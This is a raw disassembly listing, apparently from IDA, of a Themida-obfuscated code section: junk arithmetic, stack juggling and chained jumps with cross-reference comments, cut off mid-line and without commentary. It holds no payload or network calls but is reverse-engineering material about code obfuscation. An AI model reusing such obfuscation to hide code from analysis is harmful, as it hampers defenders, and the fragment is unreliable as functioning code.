Themida_:005A6430j sub ecx, 37B9612Dh jmp loc_5A931F ; --------------------------------------------------------------------------- loc_5A1415: ; CODE XREF: Themida_:005A0CB2j pop esi jmp loc_599A5B ; --------------------------------------------------------------------------- loc_5A141B: ; CODE XREF: Themida_:005AE714j add esi, 5BB27A06h add esi, 5DA14A01h mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5A529D ; --------------------------------------------------------------------------- loc_5A144D: ; CODE XREF: Themida_:00599F29j xor ebx, 6F7C8B28h push ebx jmp loc_59FF36 ; --------------------------------------------------------------------------- loc_5A1459: ; CODE XREF: Themida_:0059F07Bj mov ebp, 10B311Eh add eax, ebp pop ebp add eax, 2A2FBFF7h mov ebx, eax pop eax sub [esp+0Ch], ebx pop ebx mov ebp, [esp] add esp, 4 add [esp+4], edi add dword ptr [esp+4], 580248E3h sub dword ptr [esp+4], 1DCD7D40h jmp loc_5A42F3 ; --------------------------------------------------------------------------- loc_5A1490: ; CODE XREF: Themida_:005A64E5j pop ebp add esp, 4 jmp loc_59E379 ; --------------------------------------------------------------------------- loc_5A149C: ; CODE XREF: Themida_:005ADEC1j pop edx neg bl shl bl, 4 sub bl, 64h sub al, 89h add al, bl add al, 89h jmp loc_5AB136 ; --------------------------------------------------------------------------- loc_5A14B0: ; CODE XREF: Themida_:0059E13Dj push cx jmp loc_5993A1 ; --------------------------------------------------------------------------- loc_5A14B7: ; DATA XREF: Themida_:00598728o push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx push 75CFh jmp loc_5AB065 ; --------------------------------------------------------------------------- loc_5A14CB: ; CODE XREF: Themida_:005A1FC5j pop esp mov [esp], ecx push dx mov dl, 8Eh push eax mov ah, dl mov ch, ah mov eax, [esp] add esp, 4 pop dx jmp loc_5A2AEA ; --------------------------------------------------------------------------- loc_5A14E5: ; CODE XREF: Themida_:0059FCE5j mov bh, dl pop edx pop ecx xor ch, bh pop bx sub al, ch mov ecx, [esp] add esp, 4 push 5315h jmp loc_5A6D62 ; --------------------------------------------------------------------------- loc_5A14FF: ; CODE XREF: Themida_:005A6547j add esi, 410545E5h mov ebx, esi jmp loc_5A4879 ; --------------------------------------------------------------------------- loc_5A150C: ; CODE XREF: Themida_:005A64AFj xor ebp, [esp] xor [esp], ebp jmp loc_5AB63B ; --------------------------------------------------------------------------- loc_5A1517: ; CODE XREF: Themida_:005A9D8Dj add ecx, edi add ecx, 4F11B51h sub ecx, 4919103Bh push dword ptr [ecx] xor dword ptr [esp], 7D0D34B5h mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 74F56C82h dec edx push 2DB4h mov [esp], ecx jmp loc_59CD33 ; --------------------------------------------------------------------------- loc_5A1550: ; CODE XREF: Themida_:005993B1j ; Themida_:005A20F6j mov esi, 211530B8h push edi mov edi, 5EC5120h shr edi, 8 sub edi, 555724A2h sub esi, edi pop edi add ebx, 75D23FB7h sub ebx, 2F087D67h sub ebx, esi add ebx, 2F087D67h sub esp, 4 mov [esp], edx jmp loc_59DD56 ; --------------------------------------------------------------------------- loc_5A1589: ; CODE XREF: Themida_:005AE1F6j add edi, 30410FD4h push ecx push ebp mov ebp, 2BAD3499h mov ecx, ebp pop ebp sub edi, ecx pop ecx add edi, esi add edi, 2BAD3499h jmp loc_59E1D6 ; --------------------------------------------------------------------------- loc_5A15A9: ; CODE XREF: Themida_:005ABA98j mov [esp], eax jmp loc_599B84 ; --------------------------------------------------------------------------- loc_5A15B1: ; CODE XREF: Themida_:005A33B6j push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_59DF5F ; --------------------------------------------------------------------------- loc_5A15C9: ; CODE XREF: Themida_:005A2292j push 922h mov [esp], ebx push edx mov edx, 167D6F7Ah mov ebx, edx pop edx push ecx mov ecx, 52F113D6h or ecx, 556E602Fh not ecx not ecx push esi mov esi, 0DCF9E2D5h add ecx, esi pop esi or ebx, ecx mov ecx, [esp] push 748Ah mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_59937B ; --------------------------------------------------------------------------- loc_5A1614: ; CODE XREF: Themida_:005ADD4Fj shl esi, 3 shl esi, 5 dec esi neg esi jmp loc_5AB20D ; --------------------------------------------------------------------------- loc_5A1622: ; CODE XREF: Themida_:005A4372j pop esi mov edi, [esp] add esp, 4 push edx mov edx, 4D456C12h shl edx, 7 dec edx add edx, 5D49F705h add edi, 15FD3761h add edi, edx jmp loc_5AA0EC ; --------------------------------------------------------------------------- loc_5A1646: ; CODE XREF: Themida_:0059AE76j add edi, esi add edi, 0FAD7AF2h mov esi, [esp] add esp, 4 jmp loc_5A7B80 ; --------------------------------------------------------------------------- loc_5A1659: ; CODE XREF: Themida_:loc_5A4FC2j not eax add eax, 0CE517951h jmp loc_59E6E9 ; --------------------------------------------------------------------------- loc_5A1665: ; CODE XREF: Themida_:0059BA29j push ebx jmp loc_59E1C6 ; --------------------------------------------------------------------------- loc_5A166B: ; CODE XREF: Themida_:loc_59A53Cj xchg edi, esi jmp loc_59920E ; --------------------------------------------------------------------------- loc_5A1672: ; CODE XREF: Themida_:005A9ABDj mov ecx, edi mov edi, [esp] jmp loc_5AD4E1 ; --------------------------------------------------------------------------- loc_5A167C: ; CODE XREF: Themida_:0059D815j xchg eax, [esp] mov esp, [esp] sub [edi+20h], eax mov eax, [esp] add esp, 4 jmp loc_59E7FD ; --------------------------------------------------------------------------- loc_5A1693: ; CODE XREF: Themida_:005ACFAAj add esp, 4 add ebp, 4 push ecx push ebx mov ebx, 43585629h neg ebx add ebx, 0BDBA829Bh jmp loc_5A859D ; --------------------------------------------------------------------------- loc_5A16B0: ; CODE XREF: Themida_:005A1B51j mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A16C4: ; CODE XREF: Themida_:005A76B5j pop edx sub edi, ecx pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ch, 75h jmp loc_5AB7C7 ; --------------------------------------------------------------------------- loc_5A16DE: ; CODE XREF: Themida_:0059A03Fj pop esp jmp loc_5999AE ; --------------------------------------------------------------------------- loc_5A16E4: ; DATA XREF: Themida_:00598858o push dword ptr [edi+3Ch] jmp loc_59E963 ; --------------------------------------------------------------------------- loc_5A16EC: ; CODE XREF: Themida_:005AA42Cj mov edx, 4 add edi, edx pop edx push ecx mov ecx, 4 jmp loc_59D468 ; --------------------------------------------------------------------------- loc_5A16FF: ; CODE XREF: Themida_:005AD85Ej mov ecx, [esp] add esp, 4 xor edx, 7354D4E7h mov ebx, edx mov edx, [esp] add esp, 4 xor edx, ebx mov ebx, [esp] add esp, 4 sub eax, edx mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 jmp loc_59B18F ; --------------------------------------------------------------------------- loc_5A1739: ; CODE XREF: Themida_:0059B5ADj pop eax xor [esp+4], edi pop edi jmp loc_5A0DE7 ; --------------------------------------------------------------------------- loc_5A1744: ; CODE XREF: Themida_:005A1F76j push ecx mov ecx, 6C95F6Bh add ecx, 0A5C785EEh jmp loc_5A2018 ; --------------------------------------------------------------------------- loc_5A1755: ; CODE XREF: Themida_:0059F27Cj mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A175D: ; CODE XREF: Themida_:005A6425j not ah jmp loc_5A8FCA ; --------------------------------------------------------------------------- lodsd push edx mov edx, 71E2B84h sub esp, 4 jmp loc_5A4610 ; --------------------------------------------------------------------------- loc_5A1776: ; CODE XREF: Themida_:00598F7Aj shl edx, 1 push edi mov edi, 0D1DB5F62h add edx, edi pop edi sub eax, 40F37250h add eax, edx add eax, 40F37250h pop edx xor eax, [esp] jmp loc_5AD741 ; --------------------------------------------------------------------------- loc_5A1796: ; CODE XREF: Themida_:005A57FFj pop bx push ebx sub esp, 4 mov [esp], ecx push edx mov dl, 50h mov ch, dl jmp loc_5AA4CA ; --------------------------------------------------------------------------- loc_5A17AC: ; CODE XREF: Themida_:005A855Ej add dword ptr [esp], 4A1C79ADh sub [esp], ebp sub dword ptr [esp], 4A1C79ADh jmp loc_59A5C3 ; --------------------------------------------------------------------------- mov cx, [esp] push edx jmp loc_5ADDAB ; --------------------------------------------------------------------------- loc_5A17CC: ; CODE XREF: Themida_:005ADCAAj add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp xor eax, ebp mov ebp, [esp] add esp, 4 jmp loc_59E827 ; --------------------------------------------------------------------------- loc_5A17E9: ; CODE XREF: Themida_:0059B875j mov bl, 68h push ecx mov cl, bl mov dh, cl pop ecx push dword ptr [esp] pop ebx add esp, 4 add dh, 9Ah add dh, 1 sub dh, 0ACh push ecx mov ch, dh push edx jmp loc_5A5B97 ; --------------------------------------------------------------------------- loc_5A180A: ; CODE XREF: Themida_:005AE0F4j mov edi, 4 add edx, edi jmp loc_59DE14 ; --------------------------------------------------------------------------- loc_5A1816: ; CODE XREF: Themida_:0059BB29j xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_5AE273 ; --------------------------------------------------------------------------- loc_5A1830: ; CODE XREF: Themida_:005AA20Aj add bl, al jmp loc_5A111F ; --------------------------------------------------------------------------- loc_5A1837: ; CODE XREF: Themida_:005A2868j pop dword ptr [esp] mov esp, [esp] imul cx push small 6E5Eh mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1850: ; CODE XREF: Themida_:005994C4j xchg edx, esi not edx xchg edx, esi sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_5A2824 ; --------------------------------------------------------------------------- loc_5A1874: ; CODE XREF: Themida_:0059A3B3j add eax, 41B169E9h add eax, 2AC5242Dh sub eax, edi sub eax, 2AC5242Dh sub eax, 41B169E9h push ecx jmp loc_5A3631 ; --------------------------------------------------------------------------- loc_5A1890: ; CODE XREF: Themida_:005A2CC7j inc edx neg edx sub edx, 1 neg edx push edi jmp loc_5AB794 ; --------------------------------------------------------------------------- loc_5A189E: ; CODE XREF: Themida_:005AA64Ej mov [esp], ebx push 1B28h mov [esp], esp push ebp mov ebp, 4 jmp loc_59924C ; --------------------------------------------------------------------------- loc_5A18B4: ; CODE XREF: Themida_:005A2BA0j mov ebp, 69E30F6Ah not ebp inc ebp add ebp, 0DA995BF2h xor ebx, ebp jmp loc_5AE2D7 ; --------------------------------------------------------------------------- loc_5A18C9: ; CODE XREF: Themida_:00598BAEj pop esp jmp loc_5A03E9 ; --------------------------------------------------------------------------- loc_5A18CF: ; CODE XREF: Themida_:0059B09Fj add dword ptr [esp+4], 1DCD7D40h jmp loc_59F39C ; --------------------------------------------------------------------------- loc_5A18DC: ; CODE XREF: Themida_:005A4F9Aj sub ebx, edi pop edi sub ebx, 3D1778FBh push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push small word ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A18FC: ; CODE XREF: Themida_:005A367Fj add edx, 7B7738E9h add edx, ecx push ecx jmp loc_59B175 ; --------------------------------------------------------------------------- loc_5A190A: ; CODE XREF: Themida_:005A01F6j neg dl dec dl xor dl, 0D9h xor bl, dl pop edx xor al, bl mov bx, [esp] add esp, 2 push ax mov ah, 8Ah sub bl, ah mov ax, [esp] add esp, 2 add bl, 4Fh add bl, 30h sub bl, al sub bl, 30h push dx mov dh, 4Fh push eax push ecx jmp loc_5A4EAD ; --------------------------------------------------------------------------- loc_5A1943: ; CODE XREF: Themida_:005A6AA9j ; Themida_:005AF627j sub ecx, 67A63DD1h or ecx, 6A8A49C8h jmp loc_5A88D0 ; --------------------------------------------------------------------------- loc_5A1954: ; CODE XREF: Themida_:005997BBj add bl, 0BAh pop eax jmp loc_5AA374 ; --------------------------------------------------------------------------- loc_5A195D: ; CODE XREF: Themida_:005A4A56j push cx mov ch, dl dec ch jmp loc_5A0432 ; --------------------------------------------------------------------------- loc_5A1968: ; CODE XREF: Themida_:005AEEC8j sub eax, edx pop edx sub eax, ebp add eax, 11FF42C5h pop ebp add eax, 70511C9Eh push 4C39h mov [esp], ecx mov ecx, esp push 0B4Dh mov [esp], ebx jmp loc_5A0AEE ; --------------------------------------------------------------------------- loc_5A198F: ; CODE XREF: Themida_:005AC629j sub edi, ebx pop ebx add ebx, edi jmp loc_5AA9D0 ; --------------------------------------------------------------------------- loc_5A1999: ; CODE XREF: Themida_:005A513Cj pop dx jmp loc_5AEE0D ; --------------------------------------------------------------------------- loc_5A19A0: ; CODE XREF: Themida_:005A3854j sub eax, 23352D6Bh add eax, esi add eax, 23352D6Bh jmp loc_59E196 ; --------------------------------------------------------------------------- loc_5A19B1: ; CODE XREF: Themida_:005ABD0Ej jle loc_599122 not ebx add ebx, 743D4F9Ah mov ecx, ebx jmp loc_5A2729 ; --------------------------------------------------------------------------- loc_5A19C6: ; CODE XREF: Themida_:005ADDC8j add cl, 2Dh sub cl, dl sub cl, 2Dh mov edx, [esp] add esp, 4 jmp loc_599633 ; --------------------------------------------------------------------------- loc_5A19DC: ; CODE XREF: Themida_:005A7937j pop edx add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59CF98 ; --------------------------------------------------------------------------- loc_5A19F4: ; CODE XREF: Themida_:0059CAFCj xor edi, 23256592h mov eax, [esp] add esp, 4 shl edi, 5 add edi, 0A3F88C37h sub eax, 4F1F359Eh add eax, edi add eax, 4F1F359Eh pop edi mov ecx, [esp] add esp, 4 push 1656h mov [esp], ebp push ebx push 44BC5F57h pop ebx inc ebx jge loc_5AEED9 xor ebx, 62637CCCh push ebx jmp loc_5A5578 ; --------------------------------------------------------------------------- push esp loc_5A1A42: ; CODE XREF: Themida_:005A0CBDj xchg edi, esi jmp loc_5AAF97 ; --------------------------------------------------------------------------- loc_5A1A49: ; CODE XREF: Themida_:005AEA70j sub eax, 1E9F386Dh pop ecx push 22E2h mov [esp], ebx jmp loc_59FEE3 ; --------------------------------------------------------------------------- loc_5A1A5C: ; CODE XREF: Themida_:005A2FDDj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1A61: ; CODE XREF: Themida_:005AED55j add edi, 89029126h jmp loc_59FC7D ; --------------------------------------------------------------------------- loc_5A1A6C: ; CODE XREF: Themida_:0059B578j ; Themida_:0059F074j mov edx, [esp] push edi mov edi, esp add edi, 4 push 5CA3h mov [esp], eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push ebp mov ebp, 12EC0DF6h neg ebp xor ebp, 700D6293h jmp loc_5AB3E4 ; --------------------------------------------------------------------------- loc_5A1AA9: ; CODE XREF: Themida_:005A9E1Fj pop ecx xor ebx, 0C3A1B16h jmp loc_59C394 ; --------------------------------------------------------------------------- loc_5A1AB5: ; CODE XREF: Themida_:00599007j mov [esp], edi push esi push ebx jmp loc_5A5A63 ; --------------------------------------------------------------------------- loc_5A1ABF: ; CODE XREF: Themida_:005AD163j pop ebx neg ebx jnb loc_5AFD09 jmp loc_5AC1EB ; --------------------------------------------------------------------------- loc_5A1ACD: ; CODE XREF: Themida_:005A3E51j mov eax, 4A7D2403h or ebp, eax pop eax push ebx mov ebx, 59DE016Ch xor ebx, 44E01228h shr ebx, 4 jmp loc_59D0A3 ; --------------------------------------------------------------------------- loc_5A1AE9: ; CODE XREF: Themida_:0059B170j mov ch, 4Ch xor al, ch jmp loc_5AC4B3 ; --------------------------------------------------------------------------- loc_5A1AF2: ; CODE XREF: Themida_:loc_59FCD5j ; Themida_:005A373Cj add edi, 39C09D25h sub esp, 4 mov [esp], edi xor dword ptr [esp], 248E675Ah jmp loc_59AAC5 ; --------------------------------------------------------------------------- loc_5A1B0A: ; DATA XREF: Themida_:005986F4o push eax push esi push 3C64h mov [esp], edx mov edx, 68E6582Fh jmp loc_5ADB04 ; --------------------------------------------------------------------------- loc_5A1B1E: ; CODE XREF: Themida_:0059AAACj ; Themida_:005A5E3Fj add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5A75DA ; --------------------------------------------------------------------------- loc_5A1B2C: ; CODE XREF: Themida_:005A4C35j mov ecx, ebp pop ebp sub edx, ecx push dword ptr [esp] pop ecx add esp, 4 xor edx, [esp] xor [esp], edx jmp loc_5A2153 ; --------------------------------------------------------------------------- loc_5A1B43: ; CODE XREF: Themida_:005A9EF7j pop edx add edx, ebx pop ebx add ebx, edx jmp loc_5ABAE8 ; --------------------------------------------------------------------------- loc_5A1B4E: ; CODE XREF: Themida_:005A21CDj push dword ptr [esp] jmp loc_5A16B0 ; --------------------------------------------------------------------------- loc_5A1B56: ; CODE XREF: Themida_:005AEB58j pop edx push ecx push esp pop ecx push esi push ebx mov ebx, 4 push ecx mov ecx, ebx mov esi, ecx jmp loc_5A3B26 ; --------------------------------------------------------------------------- loc_5A1B6B: ; CODE XREF: Themida_:0059D7C7j xor ebx, [esp] mov esp, [esp] movsx ecx, al jmp loc_59C08D ; --------------------------------------------------------------------------- loc_5A1B79: ; CODE XREF: Themida_:005ABAA4j or ebx, 2B3D7309h jmp loc_59AA87 ; --------------------------------------------------------------------------- loc_5A1B84: ; CODE XREF: Themida_:005AF938j sub bl, 43h and dh, bl mov bx, [esp] add esp, 2 jmp loc_59E5C9 ; --------------------------------------------------------------------------- loc_5A1B95: ; CODE XREF: Themida_:005A6FC3j mov [esp], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] push ebx mov ebx, esp jmp loc_5AD974 ; --------------------------------------------------------------------------- loc_5A1BAA: ; CODE XREF: Themida_:005ACDE0j mov ebx, 30313146h shr ebx, 3 or ebx, 5A5222E4h inc ebx add ebx, 0C67515CCh add edx, ebx pop ebx jmp loc_5AF8BE ; --------------------------------------------------------------------------- loc_5A1BC7: ; CODE XREF: Themida_:005ACF60j jmp loc_5A5678 ; --------------------------------------------------------------------------- loc_5A1BCC: ; CODE XREF: Themida_:005A0A53j push esi push edi push 5C890167h pop edi and edi, 6906102Dh jge loc_5AB5E7 shl edi, 2 sub edi, 1724F75Ch jmp loc_5A5640 ; --------------------------------------------------------------------------- loc_5A1BEE: ; CODE XREF: Themida_:0059E549j mov esp, [esp] jmp loc_59B66B ; --------------------------------------------------------------------------- loc_5A1BF6: ; CODE XREF: Themida_:00599947j sub ecx, ebx push dword ptr [esp] pop ebx add esp, 4 add ecx, ebx push 136Ah jmp loc_5A6A8B ; --------------------------------------------------------------------------- loc_5A1C0B: ; CODE XREF: Themida_:005A8BD2j jmp loc_5A9A1E ; --------------------------------------------------------------------------- loc_5A1C10: ; CODE XREF: Themida_:0059BDC7j mov dh, 21h add bh, dh pop dx mov al, bh pop ebx add ch, 0F9h jmp loc_5A3E2A ; --------------------------------------------------------------------------- loc_5A1C21: ; CODE XREF: Themida_:005AE2D8j sub esp, 4 jmp loc_598FE8 ; --------------------------------------------------------------------------- loc_5A1C2C: ; CODE XREF: Themida_:005A126Dj push ebx mov bh, 90h mov cl, bh pop ebx sub esp, 4 mov [esp], eax mov al, 93h mov dl, 23h xor dl, al mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub dl, cl pop ecx add dl, ch push dword ptr [esp] pop ecx add esp, 4 add al, 0C9h sub al, dl jmp loc_5A9756 ; --------------------------------------------------------------------------- loc_5A1C6E: ; CODE XREF: Themida_:005A6600j push 269Ch jmp loc_59F8A6 ; --------------------------------------------------------------------------- loc_5A1C78: ; CODE XREF: Themida_:005A5538j jns loc_5A3E91 jmp loc_5A8C22 ; --------------------------------------------------------------------------- jmp loc_5A801F ; --------------------------------------------------------------------------- loc_5A1C88: ; CODE XREF: Themida_:0059EFA2j ; Themida_:loc_5AD9A0j add esi, eax sub esi, 72D36D82h pop eax add esi, 4 push esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_5A84F9 ; --------------------------------------------------------------------------- loc_5A1CA2: ; CODE XREF: Themida_:00598E0Cj sub ch, 0D7h jmp loc_5A785A ; --------------------------------------------------------------------------- loc_5A1CAA: ; CODE XREF: Themida_:00599D5Fj push edx mov dl, 10h dec dl xor dl, 23h inc dl and dl, 14h sub dl, 6Ch add al, dl jmp loc_5A9117 ; --------------------------------------------------------------------------- loc_5A1CC1: ; CODE XREF: Themida_:005ACD37j push ebp push small 920h mov bp, [esp] add esp, 2 push ax mov ax, 3043h xor bp, ax jmp loc_5A47F1 ; --------------------------------------------------------------------------- loc_5A1CDB: ; CODE XREF: Themida_:loc_5AA0E7j or eax, 220A4DF3h jnb loc_59DE02 xor eax, 0E2ABFFF6h jmp loc_5A8F01 ; --------------------------------------------------------------------------- push ebx loc_5A1CF1: ; CODE XREF: Themida_:0059EE54j push edi mov edi, 5E1A5C3Bh or edi, 78025DD3h not edi inc edi add edi, 6C4964B5h and edi, 21622C6Eh or edi, 789B0F0Eh push edx push esi mov esi, 4B066054h xor esi, 46515C5Ah add esi, 1 sub esi, 0CF25232Bh mov edx, esi pop esi xor edx, 97851FB6h add edi, edx pop edx jmp loc_5AB3BF ; --------------------------------------------------------------------------- loc_5A1D39: ; CODE XREF: Themida_:005A43B9j xor [esp], eax xor eax, [esp] xor [esp], eax not eax xchg eax, [esp] push dword ptr [esp] jmp loc_59EDD8 ; --------------------------------------------------------------------------- loc_5A1D4F: ; CODE XREF: Themida_:005AD21Fj pop edi add edi, 4 sub esp, 4 mov [esp], ecx push ebx push 6E6C23A6h mov ebx, [esp] jmp loc_5A8F17 ; --------------------------------------------------------------------------- loc_5A1D6A: ; CODE XREF: Themida_:0059A797j add eax, 4 sub esp, 4 mov [esp], edx mov edx, 4 sub eax, edx pop edx xchg eax, [esp] mov esp, [esp] mov [esp], ebp jmp loc_5AC6B0 ; --------------------------------------------------------------------------- loc_5A1D8E: ; CODE XREF: Themida_:0059ACF7j add eax, 693F2226h jmp loc_598EE6 ; --------------------------------------------------------------------------- loc_5A1D98: ; CODE XREF: Themida_:005A34C0j add edx, 62675FC9h mov ebx, edx pop edx push edx jmp loc_5A793C ; --------------------------------------------------------------------------- loc_5A1DA7: ; CODE XREF: Themida_:0059E166j mov [esp], edx push eax push ecx push edi jmp loc_5A00BF ; --------------------------------------------------------------------------- loc_5A1DB2: ; CODE XREF: Themida_:005A24A3j pop eax jmp loc_5AD23A ; --------------------------------------------------------------------------- loc_5A1DB8: ; CODE XREF: Themida_:00599C8Dj push cx pushf jmp loc_5AC8B4 ; --------------------------------------------------------------------------- loc_5A1DC0: ; CODE XREF: Themida_:0059F8E3j sub edi, 6AAC3485h pop esi add edi, 107C2D42h jmp loc_59C7A3 ; --------------------------------------------------------------------------- loc_5A1DD2: ; CODE XREF: Themida_:005A42F9j push dword ptr [esp] pop ebx add esp, 4 push eax push edi mov edi, 13744B2Bh mov eax, 2C00BDDEh sub eax, edi pop edi sub ebx, 50B803E4h sub ebx, eax add ebx, 50B803E4h pop eax pop esi jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1DFD: ; CODE XREF: Themida_:loc_5A6716j or ebx, 78A4342Dh add ebx, 0F42626C9h jmp loc_5A3BD7 ; --------------------------------------------------------------------------- loc_5A1E0E: ; CODE XREF: Themida_:005AE518j push edx mov edx, 2FD30D84h mov ecx, edx pop edx jmp loc_59E226 ; --------------------------------------------------------------------------- loc_5A1E1C: ; CODE XREF: Themida_:005A36D2j ; Themida_:005A5DF8j pop esi push 2B39h mov [esp], ebp mov ebp, 63913262h add ebp, 55FF10CFh push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 shr ebp, 1 or ebp, 13072215h inc ebp push edi mov edi, 0CA55F30h shr edi, 5 jmp loc_5AD875 ; --------------------------------------------------------------------------- loc_5A1E51: ; CODE XREF: Themida_:005A0860j push edx mov edx, esp push 6790h mov [esp], edi mov edi, 4 add edx, edi mov edi, [esp] jmp loc_59BAED ; --------------------------------------------------------------------------- loc_5A1E6B: ; CODE XREF: Themida_:00599A71j add ecx, 4 xchg ecx, [esp] pop esp add bl, 0C9h sub bl, 9Ah jmp loc_59FE8F ; --------------------------------------------------------------------------- loc_5A1E80: ; CODE XREF: Themida_:0059CFB2j mov ah, dh push ebx mov bl, ah mov ch, bl pop ebx jmp loc_5AE3EB ; --------------------------------------------------------------------------- loc_5A1E8D: ; CODE XREF: Themida_:005A62F5j mov eax, 47914160h add eax, 0F7FD8841h add ebx, eax pop eax jmp loc_5A8223 ; --------------------------------------------------------------------------- loc_5A1E9F: ; CODE XREF: Themida_:005AB34Ej jo loc_5AF2AC inc eax jns loc_5A7A2A jmp loc_5A69B9 ; --------------------------------------------------------------------------- jmp loc_5AB8E4 ; --------------------------------------------------------------------------- loc_5A1EB6: ; CODE XREF: Themida_:loc_5A00EDj shl edx, 8 jz loc_59C463 add edx, 43BAEE5Ah jmp loc_59A2AA ; --------------------------------------------------------------------------- loc_5A1ECA: ; CODE XREF: Themida_:0059B5DAj ; Themida_:0059BE4Ej push 147Fh mov [esp], eax add dword ptr [esp], 0FFFFFFFFh jmp loc_5A9F3F ; --------------------------------------------------------------------------- loc_5A1EDB: ; CODE XREF: Themida_:0059A014j ; Themida_:0059E91Aj or esi, edx pop edx shr esi, 4 shl esi, 1 push esi not dword ptr [esp] pop esi xor esi, 0DD201059h not esi sub esp, 4 mov [esp], edi push 0F8629F7h pop edi jmp loc_5990B1 ; --------------------------------------------------------------------------- loc_5A1F04: ; CODE XREF: Themida_:0059A90Aj push esp jmp loc_5A8D2C ; --------------------------------------------------------------------------- loc_5A1F0A: ; CODE XREF: Themida_:0059F230j xor ebx, [esp] jmp loc_5A64C3 ; --------------------------------------------------------------------------- loc_5A1F12: ; CODE XREF: Themida_:0059FFE8j ; Themida_:005AF3ADj not edi xchg eax, edi jmp loc_5A4BF6 ; --------------------------------------------------------------------------- loc_5A1F1A: ; CODE XREF: Themida_:005A844Bj mov eax, esi pop esi mov edx, [esp] add esp, 4 jmp loc_59BF53 ; --------------------------------------------------------------------------- loc_5A1F2B: ; CODE XREF: Themida_:005A584Fj add esi, eax jmp loc_5ABCBD ; --------------------------------------------------------------------------- loc_5A1F32: ; CODE XREF: Themida_:0059A7DEj add esp, 4 sub esi, 18B9000Ah jmp loc_59A88C ; --------------------------------------------------------------------------- loc_5A1F43: ; CODE XREF: Themida_:0059A594j mov esi, [esp] jmp loc_59DB94 ; --------------------------------------------------------------------------- loc_5A1F4B: ; CODE XREF: Themida_:005A8814j pop ecx add eax, 370C12ACh jmp loc_5A29B3 ; --------------------------------------------------------------------------- loc_5A1F56: ; CODE XREF: Themida_:005A8FD0j mov dh, 59h add ah, dh mov edx, [esp] add esp, 4 xor cl, ah pop eax jmp loc_599787 ; --------------------------------------------------------------------------- loc_5A1F68: ; CODE XREF: Themida_:005AF3DAj pop edx add eax, esi jmp loc_59CA9A ; --------------------------------------------------------------------------- loc_5A1F70: ; CODE XREF: Themida_:005AFA19j sub ebp, 499D4BAEh jg loc_5A1744 push ecx mov ecx, 6C95F6Bh add ecx, 0A5C785EEh jmp loc_5A8F51 ; --------------------------------------------------------------------------- loc_5A1F8D: ; CODE XREF: Themida_:005AF4B3j add esi, 2 jmp loc_5A7993 ; --------------------------------------------------------------------------- loc_5A1F95: ; CODE XREF: Themida_:005A4BFFj mov ebx, [esp] add esp, 4 push 7C49h mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A14CB ; --------------------------------------------------------------------------- loc_5A1FCA: ; CODE XREF: Themida_:005A895Fj and dh, 0A5h jmp loc_5A25DC ; --------------------------------------------------------------------------- loc_5A1FD2: ; CODE XREF: Themida_:00599DEAj push edi push edx push 466B3AF4h pop edx add edx, 3C883F85h jge loc_5A690D jmp loc_5AFD9E ; --------------------------------------------------------------------------- push esp jmp loc_5AEB05 ; --------------------------------------------------------------------------- db 89h, 0C0h ; --------------------------------------------------------------------------- loc_5A1FF3: ; CODE XREF: Themida_:005A8C1Dj mov eax, ebp pop ebp mov ebp, eax jmp loc_5A94D3 ; --------------------------------------------------------------------------- loc_5A1FFD: ; CODE XREF: Themida_:0059C42Bj mov [esp], esi jmp loc_5AA0D8 ; --------------------------------------------------------------------------- loc_5A2005: ; CODE XREF: Themida_:0059A659j add ebx, eax jmp loc_59C32C ; --------------------------------------------------------------------------- loc_5A200C: ; CODE XREF: Themida_:005A813Fj pop edi add edx, 0FFFFFFFFh jmp loc_59E76A ; --------------------------------------------------------------------------- loc_5A2018: ; CODE XREF: Themida_:005A1750j jmp loc_5AE2C3 ; --------------------------------------------------------------------------- loc_5A201D: ; CODE XREF: Themida_:0059FA11j add ebx, 1FE85A32h pop small word ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A202B: ; CODE XREF: Themida_:005AF4D6j dec eax or eax, 41C43B51h shr eax, 5 add eax, 447D5B63h jmp loc_5A2C2E ; --------------------------------------------------------------------------- loc_5A203E: ; CODE XREF: Themida_:005A4D58j mov esp, [esp] xchg eax, [esp] jmp loc_59F32F ; --------------------------------------------------------------------------- loc_5A2049: ; CODE XREF: Themida_:0059EEE8j push ebx mov ebx, 71B750C0h push ebp mov ebp, esp add ebp, 4 jmp loc_5AB55F ; --------------------------------------------------------------------------- loc_5A205D: ; CODE XREF: Themida_:005A69F6j mov esi, 4B0B3C81h sub esi, 0FFFFFFFFh sub esp, 4 mov [esp], ebx mov ebx, 6CB07193h jmp loc_599297 ; --------------------------------------------------------------------------- loc_5A207B: ; 